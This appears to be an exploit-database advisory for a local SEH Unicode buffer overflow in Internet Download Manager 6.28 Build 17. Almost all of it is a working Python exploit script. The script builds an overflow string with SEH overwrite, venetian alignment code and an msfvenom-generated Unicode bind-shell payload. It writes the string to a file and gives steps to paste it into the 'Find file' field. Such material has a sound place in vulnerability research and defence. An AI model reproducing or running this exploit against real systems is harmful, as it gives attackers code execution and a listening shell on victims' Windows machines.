Internet Download Manager 6.28 Build 17 Buffer Overflow (SEH Unicode)

2017.08.16
Credit: f3ci
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

#!/usr/bin/python # Exploit Title: Internet Download Manager 6.28 Build 17 - 'Find file' SEH Buffer Overflow (Unicode) # Date: 14-06-2017 # Exploit Author: f3ci # Tested on: Windows 7 SP1 x86 # How to exploit: Open IDM -> Downloads -> Find -> paste exploit string into 'Find file' text field #msfvenom -p windows/shell_bind_tcp LHOST=4444 -e x86/unicode_mixed BufferRegister=EAX -a x86 --platform windows -f python #Payload size: 782 bytes buf = "PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA" buf += "jXAQADAZABARALAYAIAQAIAQAIAhAAAZ" buf += "1AIAIAJ11AIAIABABABQI1AIQIAIQI11" buf += "1AIAJQYAZBABABABABkMAGB9u4JB9lK8" buf += "4BYpIpM0QPTIwuP1y00dtKr0LpTK22Jl" buf += "4K1Bn4TKQbMXLOWGNjNFp1KODlml31al" buf += "zbnLKpI16olMiqfggrhrobNwrkb2N0tK" buf += "pJmlRk0Lzq2XJCpHkQxQoaRk29o0m1wc" buf += "dKa9jxzCmjq9dKoDdKm1fvMakOfLfavo" buf += "jmIqHGOHGp2UzVlCqmjXoKQmKtbUhd28" buf += "Bk28LdIq7cOvbkJlPKtK0XML9qvsDKlD" buf += "BkjaHPayq4LdmTQK1KQQR9aJoa9oGpoo" buf += "OoOjRkZrjKbmOmBHMcp2IpM0RH1g2SNR" buf += "OopTqXnlQglfzgkOyEtxdPKQIpIpmYy4" buf += "Ntb0Phlie0rKM09oXU2J9x0Yr0Xb9mq0" buf += "r0a0npC87zZoyO9PKOj5bwBHJbkPkaQL" buf += "e97vrJZp0VQGRHy2GknWBGYohUR7phUg" buf += "Gy08IoyovuogqXsDXlmk8aIoXUR7dWph" buf += "t5bNpMaQioVuQXrCbM34ypu9Gs1Gogb7" buf += "01xvrJjr29qF8bim365wPDldoLzajaTM" buf += "q4ldjpuvypMtR4np26of26Mv0VnnaFaF" buf += "OcpVPhD9HLOO1vio6u2iwpNnr6pFKO00" buf += "Ph9xBgMMOpyofuWKHpVUcrr6qXeVruUm" buf += "3mkO9EOLlFcLJjcPyk9PRUyugK0GN3RR" buf += "0o2Jip23yoj5AA" #venetian venetian = "\x53" #push ebx venetian += "\x42" #align venetian += "\x58" #pop eax venetian += "\x42" #align venetian += "\x05\x02\x01" #add eax,01000200 venetian += "\x42" #align venetian += "\x2d\x01\x01" #add eax,01000100 venetian += "\x42" #align venetian += "\x50" #push esp venetian += "\x42" #align venetian += "\xC3" #ret nseh = "\x61\x47" # popad seh = "\x46\x5f" # 0x005f0046 IDMan.exe buffer = "\x41" * 2192 #junk buffer += nseh + seh #nseh + seh buffer += venetian #venetian buffer += "\x42" * 109 #junk buffer += buf #shellcode buffer += "HeyCanYouFind" #junk buffer += "ThisFileHuh?" #junk filename = "C:\\Users\Lab\Desktop\idm.txt" file = open(filename, 'w') file.write(buffer) file.close() print buffer print "[+] File created successfully"


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